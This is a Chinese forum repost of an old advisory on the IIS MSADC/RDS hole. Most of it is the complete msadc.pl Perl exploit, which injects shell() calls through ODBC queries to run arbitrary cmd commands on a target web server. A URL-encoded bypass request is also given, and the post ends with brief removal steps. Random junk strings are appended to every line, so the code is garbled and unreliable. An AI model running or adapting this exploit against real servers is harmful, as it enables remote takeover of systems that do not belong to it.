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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Q.MbzSgXL  
<f9a%`d  
涉及程序: 3]li3B'  
Microsoft NT server )qua0'y]@  
cw/E?0MWb  
描述: +'0V6 \y  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 O)8$aAJ)V  
vI20G89E  
详细: v];P| Fi  
如果你没有时间读详细内容的话,就删除: V.-cm51I  
c:\Program Files\Common Files\System\Msadc\msadcs.dll :Xs3Vh,V  
有关的安全问题就没有了。 =eyPo(B  
mfx-Ja_a  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 JI[{n~bhGD  
M)"'Q6ck=  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 @gnLY  
关于利用ODBC远程漏洞的描述,请参看: u\q(v D.  
O~#A )d6  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm HV=P! v6  
_-|+k  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 & d_2WQ}  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp sH.,O9'r  
JLak>MS  
这里不再论述。 gx.\&W b  
Yq>K1E|  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: lFN|)(X  
64qqJmG 3  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset q&2L@l3A  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! hplxs#  
gE9x+g  
KU^|T2s%  
#将下面这段保存为txt文件,然后: "perl -x 文件名" :{s0tw>Z  
yioX^`Fc(~  
#!perl )4R[C={  
# F<4>g+Ag  
# MSADC/RDS 'usage' (aka exploit) script D]twid~OS  
# K]&i9`>N   
# by rain.forest.puppy fXSuJ<G  
# u&Yd+');  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Z.b?Jzj  
# beta test and find errors! W1JvLU5L*r  
c"diNbm[  
use Socket; use Getopt::Std; ! NJGW  
getopts("e:vd:h:XR", \%args); TDX~?> P  
cI'su?  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; +y^'\KN  
/5X_gjOL,  
if (!defined $args{h} && !defined $args{R}) { #wZbG|%  
print qq~ >eWORf>7  
Usage: msadc.pl -h <host> { -d <delay> -X -v } PXF u  
-h <host> = host you want to scan (ip or domain) 7l4}b^>/`  
-d <seconds> = delay between calls, default 1 second n)PqA*  
-X = dump Index Server path table, if available 88VI _<  
-v = verbose /*(&Dmt>  
-e = external dictionary file for step 5 jN!VrRA  
zeD=-3  
Or a -R will resume a command session |$C fm}  
1}~ZsrF  
~; exit;} oDWNOw  
>*EJ6FPO  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; $ I J^  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} X!6$<8+1OV  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} deEc;IAo  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); JfRLqA/  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ?DE{4Ti/[  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } akG|ic-~  
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if (!defined $args{R}){ $ret = &has_msadc; LK<ZF=z]Z  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ^O& y ;5  
Y?- "HK:  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" uANpqT}!  
. "cmd /c "; `neo.]  
$in=<STDIN>; chomp $in; 0J6* U[  
$command="cmd /c " . $in ;  &\ K  
}L @~!=q*  
if (defined $args{R}) {&load; exit;} Oq:$GME  
-b)3+#f  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; +R_s(2vz  
&try_btcustmr; /m4Y87  
l{Et:W%|  
print "\nStep 2: Trying to make our own DSN..."; w~3z) ;  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; r::0\{{r"p  
e?N3&ezp  
print "\nStep 3: Trying known DSNs..."; Z4g<Ys*  
&known_dsn; xwj{4fzpk{  
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print "\nStep 4: Trying known .mdbs..."; hcz!f  
&known_mdb; `O!yt  
S263h(H  
if (defined $args{e}){ Gr'|nR8  
print "\nStep 5: Trying dictionary of DSN names..."; PbfgWGr  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } U?ZWDr"*`w  
kG5Uc8 3#G  
print "Sorry Charley...maybe next time?\n"; "-\8Y>E  
exit; CSH*^nk':O  
!b$]D?=}  
############################################################################## @+a}O  
-;Te+E_  
sub sendraw { # ripped and modded from whisker & x$ps  
sleep($delay); # it's a DoS on the server! At least on mine... ZH`(n5  
my ($pstr)=@_; ^O}J',Fm%f  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 4wWfaL5"  
die("Socket problems\n"); u4'B  
if(connect(S,pack "SnA4x8",2,80,$target)){ 4>/i,_&K K  
select(S); $|=1; xZ(d*/6E  
print $pstr; my @in=<S>; DPCQqV|7  
select(STDOUT); close(S); iba8G]2  
return @in; 4y!GFhMh  
} else { die("Can't connect...\n"); }} rxj#  
|pBvy1e4)  
############################################################################## t^2$ent  
>Bu _NoM  
sub make_header { # make the HTTP request wxN&k$`a  
my $msadc=<<EOT `|PhXr  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 NN5G '|i  
User-Agent: ACTIVEDATA ZG? e%  
Host: $ip 5RP5%U  
Content-Length: $clen E,fbIyX  
Connection: Keep-Alive w_DaldK*  
s<oT,SPt  
ADCClientVersion:01.06 P.jy7:dB,  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 %/BBl$~ji  
WO6+r?0M2  
--!ADM!ROX!YOUR!WORLD! b;nqhO[f}  
Content-Type: application/x-varg o6:@j#b  
Content-Length: $reqlen wr~Qy4 ny  
S]A[eUF~  
EOT vQj{yJ\l1  
; $msadc=~s/\n/\r\n/g; TmK8z  
return $msadc;} ?A04qk  
)\7Cp-E-W  
############################################################################## h,6> ^A  
w ~^{V4V  
sub make_req { # make the RDS request H%Z;Yt8^gt  
my ($switch, $p1, $p2)=@_; -:~z,F  
my $req=""; my $t1, $t2, $query, $dsn; qIB2eCXw  
,1]VY/  
if ($switch==1){ # this is the btcustmr.mdb query ;9q$eK%d  
$query="Select * from Customers where City=" . make_shell(); /O`R9+;  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . MO|Pv j~[  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ,@I\'os  
J(A+mYr{:  
elsif ($switch==2){ # this is general make table query KFy|,@NI  
$query="create table AZZ (B int, C varchar(10))"; x![G'I  
$dsn="$p1";} mo,"3YW  
a54S,}|  
elsif ($switch==3){ # this is general exploit table query na 0Zb  
$query="select * from AZZ where C=" . make_shell(); xk3)#*  
$dsn="$p1";} qQ1D}c@  
_ q AT%.  
elsif ($switch==4){ # attempt to hork file info from index server ~f( #S*Ic  
$query="select path from scope()"; "!uS!BI?  
$dsn="Provider=MSIDXS;";} T5}5uk9  
iRqLLMrn  
elsif ($switch==5){ # bad query cVYu(ssC4  
$query="select"; SR`A]EC(V  
$dsn="$p1";} d*=qqe H  
#WGyQ u  
$t1= make_unicode($query); \Ym!5,^o  
$t2= make_unicode($dsn); AP8J28I  
$req = "\x02\x00\x03\x00"; ylDfr){  
$req.= "\x08\x00" . pack ("S1", length($t1)); @}uo:b:Q  
$req.= "\x00\x00" . $t1 ; 44KWS~  
$req.= "\x08\x00" . pack ("S1", length($t2)); Cv/3-&5S  
$req.= "\x00\x00" . $t2 ; Ns#L9T#  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ]\]mwvLT  
return $req;} ymT]ow6C  
.'4@Yp{=  
############################################################################## A7eYKo q  
Z-M4J;J@}  
sub make_shell { # this makes the shell() statement 2wgcVQ Awa  
return "'|shell(\"$command\")|'";} lTFo#p_(  
Y&y<WN}Q  
############################################################################## F!2VTPm9z  
)i\foSbB`V  
sub make_unicode { # quick little function to convert to unicode >S S^qjh/  
my ($in)=@_; my $out; A0Q1"b=  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } J7~Kjl  
return $out;} )}vUYTU1  
tf1Y5P$  
############################################################################## 6UuM `eu  
|uX&T`7?-  
sub rdo_success { # checks for RDO return success (this is kludge) }.=@^-JBA5  
my (@in) = @_; my $base=content_start(@in); |/Y!R>El  
if($in[$base]=~/multipart\/mixed/){ }:1qK67S  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} VTi; y{  
return 0;} @&9< )1F  
84s:cO  
############################################################################## /b6j<]H  
PWfd<Yf!  
sub make_dsn { # this makes a DSN for us BZjL\{IW  
my @drives=("c","d","e","f"); q!q=axfMD  
print "\nMaking DSN: "; w(ic$  
foreach $drive (@drives) { I;9DG8C&v*  
print "$drive: "; JD AX^]  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . `_"?$ v2F  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ^ ,[gO#hgz  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); };*&;GFe  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; $. sTb  
return 0 if $2 eq "404"; # not found/doesn't exist 52F3r:Rk  
if($2 eq "200") { e'=#G$S?g  
foreach $line (@results) { `qZ@eGZ z  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} @v.?z2h  
} return 0;} Bu{%mm(  
3ZvQUH/{W  
############################################################################## v{8r46Y~Z)  
/)rv Ndn  
sub verify_exists { =H^~"16  
my ($page)=@_; (: mF+%(  
my @results=sendraw("GET $page HTTP/1.0\n\n"); JqEo~]E]  
return $results[0];} #rp)Gc  
2#' "<n,G  
############################################################################## y@Td]6|f  
;@n/g U  
sub try_btcustmr { qVd s 2  
my @drives=("c","d","e","f"); Xj:\B] v]  
my @dirs=("winnt","winnt35","winnt351","win","windows"); '%a:L^a?  
{P%\& \{F  
foreach $dir (@dirs) { ("=24R=a  
print "$dir -> "; # fun status so you can see progress Cio (Ptt:  
foreach $drive (@drives) { Yof ]  
print "$drive: "; # ditto :;Npk9P(N  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 4 X0ku]  
$reqlenlen=length( "$reqlen" ); b'RBel;W  
$clen= 206 + $reqlenlen + $reqlen; 0iz\<' p  
!T}R=;)e h  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); *4l6+#W  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} e C&!yY2g  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} K=dG-+B~}  
AO8%!+"_  
############################################################################## T3-/+4$0v  
YCyh+%Q(  
sub odbc_error { mH'om SCz  
my (@in)=@_; my $base; 2V$YZSw6q  
my $base = content_start(@in); WTZuf9:  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this @X_)%Y-^O  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; e^hI[LbNC  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 8=mx5Gwz-  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Nm3CeU  
return $in[$base+4].$in[$base+5].$in[$base+6];} \r &(l1R  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; CR-2>,*a9  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . F5\{`  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} XZ/cREz^s  
^5-SL?E  
############################################################################## /)r[}C0   
Pa ^_ s  
sub verbose { ZrWA,~;  
my ($in)=@_; 0EC/l OS  
return if !$verbose; mEV@~){  
print STDOUT "\n$in\n";} rwAycW7  
 j 2e|  
############################################################################## P> 7PO~E.  
c2yZvi  
sub save { Angt=q  
my ($p1, $p2, $p3, $p4)=@_; EsLtC5]  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; VJtRL')  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Sqla+L*  
close OUT;} {%X[Snv  
#?bOAWAwLh  
############################################################################## 2*zMLI0.  
59(} D'lw>  
sub load { SFRYX,0m  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; U@)WTH6d  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); }`uq:y  
@p=<IN>; close(IN); d ewN\  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); -nB. .q  
$target= inet_aton($ip) || die("inet_aton problems"); gq+#=!(2  
print "Resuming to $ip ..."; :) T#.(mR  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; wgZ6|)!0  
if($p[1]==1) { /tqe:*  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; $XrX(l5  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Y,X0x-  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); szy2"~hm  
if (rdo_success(@results)){print "Success!\n";} Kp/l2?J"  
else { print "failed\n"; verbose(odbc_error(@results));}} 'Y>@t6E4  
elsif ($p[1]==3){ ,^qHl+'  
if(run_query("$p[3]")){ w#;y  
print "Success!\n";} else { print "failed\n"; }} SdJkno  
elsif ($p[1]==4){ z-`4DlJUS  
if(run_query($drvst . "$p[3]")){ 8|rlP  
print "Success!\n"; } else { print "failed\n"; }} /ASpAl[J  
exit;} A*? Qm  
zB+zw\ncN  
############################################################################## @G=_nZxv  
YU1z\pK  
sub create_table { f7 zGz  
my ($in)=@_; aOW$H:b  
$reqlen=length( make_req(2,$in,"") ) - 28; 5K$d4KT  
$reqlenlen=length( "$reqlen" ); +kOXa^K  
$clen= 206 + $reqlenlen + $reqlen; )'`@rq!  
my @results=sendraw(make_header() . make_req(2,$in,"")); +< c(;Ucl?  
return 1 if rdo_success(@results); 7T=:dv  
my $temp= odbc_error(@results); verbose($temp); {uiL91j.  
return 1 if $temp=~/Table 'AZZ' already exists/; v79\(BX  
return 0;} <*djtO  
M V~3~h8  
############################################################################## [S[@ Q[zP@  
=M34 HPG  
sub known_dsn { Qh4Z{c@  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go \2)~dV:6+  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 'tq4-11xB  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", AXpyia7nU  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); e:=+~F(f  
.OD{^Kq2  
foreach $dSn (@dsns) { ?/Z5%?6  
print "."; (APGz,^9#  
next if (!is_access("DSN=$dSn")); R,W w/D  
if(create_table("DSN=$dSn")){ Br"K{g?  
print "$dSn successful\n"; 0u ,nSvch  
if(run_query("DSN=$dSn")){ ]U3@V#*  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { A,%NdM;t=5  
print "Something's borked. Use verbose next time\n";}}} print "\n";} /3 d6Og  
2r#W#z%vS  
############################################################################## <VmEXJIk  
`qj24ehc  
sub is_access { c]/&xRd  
my ($in)=@_; o1u?H4z  
$reqlen=length( make_req(5,$in,"") ) - 28; 4G=KyRKh  
$reqlenlen=length( "$reqlen" ); :Pi="  
$clen= 206 + $reqlenlen + $reqlen; p}-B>v  
my @results=sendraw(make_header() . make_req(5,$in,"")); Q E*`#r#e  
my $temp= odbc_error(@results); XE : JL_  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); +L#Q3}=s  
return 0;} ,+E"s3NW  
-2*Pm1\Z  
############################################################################## rs:a^W5t  
KoTQc0b!  
sub run_query { Bl v @u?  
my ($in)=@_; -<aN$O  
$reqlen=length( make_req(3,$in,"") ) - 28; hN.{H:skL)  
$reqlenlen=length( "$reqlen" ); hx sW9  
$clen= 206 + $reqlenlen + $reqlen; CWM_J9f  
my @results=sendraw(make_header() . make_req(3,$in,"")); 7bx!A+, t  
return 1 if rdo_success(@results); %x|0<@b7-  
my $temp= odbc_error(@results); verbose($temp); $jv/00:&  
return 0;} xtRHb''FX  
xX{gm'3UYa  
############################################################################## 47 9yG/+\  
g2GHsVS  
sub known_mdb { c=~FXV!  
my @drives=("c","d","e","f","g"); " IC0v9  
my @dirs=("winnt","winnt35","winnt351","win","windows"); <I^Tug\M+  
my $dir, $drive, $mdb; _w49@9?  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; b)@b63P_  
W= $, \D+  
# this is sparse, because I don't know of many r7n-Xe  
my @sysmdbs=( "\\catroot\\icatalog.mdb", DbvKpM H  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ^EmI;ks  
"\\system32\\certmdb.mdb", ffS]%qa  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 8hm|9  
bupDnTF  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", :LBRyBV  
"\\cfusion\\cfapps\\forums\\forums_.mdb", aak[U;rx  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", }`$Sr&n 1  
"\\cfusion\\cfapps\\security\\realm_.mdb", RJT=K{2x  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", S(h+,+289  
"\\cfusion\\database\\cfexamples.mdb", \>r<z46x  
"\\cfusion\\database\\cfsnippets.mdb", %v 1NDhaXz  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 8yn}|Y9Fu  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ^jZ4tH3K  
"\\cfusion\\brighttiger\\database\\cleam.mdb", SpiI9)gp  
"\\cfusion\\database\\smpolicy.mdb", RS[>7-9  
"\\cfusion\\database\cypress.mdb", m8<l2O=m  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", /l$>W<}@  
"\\website\\cgi-win\\dbsample.mdb",  K na  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", JO"-"&>  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" sc &S0K  
); #these are just e-e*%  
foreach $drive (@drives) { ,xsFBNCC  
foreach $dir (@dirs){ )%]`uj>*[  
foreach $mdb (@sysmdbs) { 2/V9Or 52  
print "."; ![4<6/2gy  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ pcjb;&<  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 5t~p99#?  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 'J"m`a8no  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 7>>6c7e  
} else { print "Something's borked. Use verbose next time\n"; }}}}} dUL3UY3  
DZ~qk+,I  
foreach $drive (@drives) { V50FX }i  
foreach $mdb (@mdbs) { LHJjPf)F  
print "."; Z 361ko}  
if(create_table($drv . $drive . $dir . $mdb)){ {%Q &CQG_  
print "\n" . $drive . $dir . $mdb . " successful\n"; ;UG]ckV-  
if(run_query($drv . $drive . $dir . $mdb)){ 0x]W W|se*  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; F~tT5?+  
} else { print "Something's borked. Use verbose next time\n"; }}}} SN/ e41  
} |] 8Hh>  
Y1Qg|U o  
############################################################################## _0(Bx?[h  
*P}v82C N  
sub hork_idx { V8{5 y <Y>  
print "\nAttempting to dump Index Server tables...\n"; iN+Tig?c  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; E||[(l,b  
$reqlen=length( make_req(4,"","") ) - 28; `8rInfV  
$reqlenlen=length( "$reqlen" ); s j{i  
$clen= 206 + $reqlenlen + $reqlen; rYYAZ(\8  
my @results=sendraw2(make_header() . make_req(4,"","")); ]K(>r#'nH  
if (rdo_success(@results)){ }D>nXhO&  
my $max=@results; my $c; my %d; @,{', =L6  
for($c=19; $c<$max; $c++){ z}:|is)?  
$results[$c]=~s/\x00//g; Z:(yX0U,[  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; m}dO\;  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; !R.*Vn[  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; cy-Bhk0H  
$d{"$1$2"}="";} {@8TGHKv  
foreach $c (keys %d){ print "$c\n"; } '8b/TL  
} else {print "Index server doesn't seem to be installed.\n"; }} wa*/Am9;~  
5??\[C^"}  
############################################################################## }- P ='AyL  
"=97:H{!  
sub dsn_dict { OPsg3pW!]  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); =Vm"2g,aA  
while(<IN>){ PA(XdT{  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ZW0gd7Wh  
next if (!is_access("DSN=$dSn")); 43 h0i-%1  
if(create_table("DSN=$dSn")){ xVn"xk  
print "$dSn successful\n"; qvH7otA  
if(run_query("DSN=$dSn")){ 42wa9UL<Ka  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { EgT2a  
print "Something's borked. Use verbose next time\n";}}} bijE]:<AE7  
print "\n"; close(IN);} ~@wM[}ThP$  
g:sn/Zug]  
############################################################################## 6*n<emP  
P:gN"f6  
sub sendraw2 { # ripped and modded from whisker z rg#BXj7  
sleep($delay); # it's a DoS on the server! At least on mine... _b8?_Zq  
my ($pstr)=@_; 5_MqpCL  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || \Gk4J<  
die("Socket problems\n"); E8=8OX/{Y  
if(connect(S,pack "SnA4x8",2,80,$target)){ u'BuZF  
print "Connected. Getting data"; :"4Pr/}rT  
open(OUT,">raw.out"); my @in; "/&_B  
select(S); $|=1; print $pstr; |*+f N8  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 2HemPth  
close(OUT); select(STDOUT); close(S); return @in; <-1(G1v  
} else { die("Can't connect...\n"); }} 4G4[IA u_  
F.0CJ7s  
############################################################################## &(] @L\A  
Ikn)XZU^  
sub content_start { # this will take in the server headers [?vn>  
my (@in)=@_; my $c; |%@.@c  
for ($c=1;$c<500;$c++) { 9svnB@  
if($in[$c] =~/^\x0d\x0a/){ H8g1SMT  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } EGZ F@#N  
else { return $c+1; }}} 5D32d1A  
return -1;} # it should never get here actually nCz_gYcIx  
IP 9{vk  
############################################################################## .%(Q*ioDh  
cCoa3U/  
sub funky { ]H4T80wm&  
my (@in)=@_; my $error=odbc_error(@in); 61W ms@D%  
if($error=~/ADO could not find the specified provider/){ < c}cgD4  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; v&NC` dVR  
exit;} PsLMV:O9S  
if($error=~/A Handler is required/){ mrzrQ@sN  
print "\nServer has custom handler filters (they most likely are patched)\n"; v~2$9x!9  
exit;} g0P^O@8  
if($error=~/specified Handler has denied Access/){ ;;9W/m~]  
print "\nServer has custom handler filters (they most likely are patched)\n"; xsPE UK&g  
exit;}} Tjfg[Z/x  
8$H_:*A?  
############################################################################## d3$&I==;:  
YtzB/q8I  
sub has_msadc { gdu8O!9)  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); TfYXF`d  
my $base=content_start(@results); K9#=@}!3L  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ]+SVQ|v0  
return 0;} <9]9;   
I'_u4  
######################## us2X:X)  
'n9<z)/,!  
a19yw]hF5  
解决方案: Y 7a<3>  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll SOq{`~,4B  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 o Q!56\R  
J;K-Pv +  
拿出来充数 哈哈
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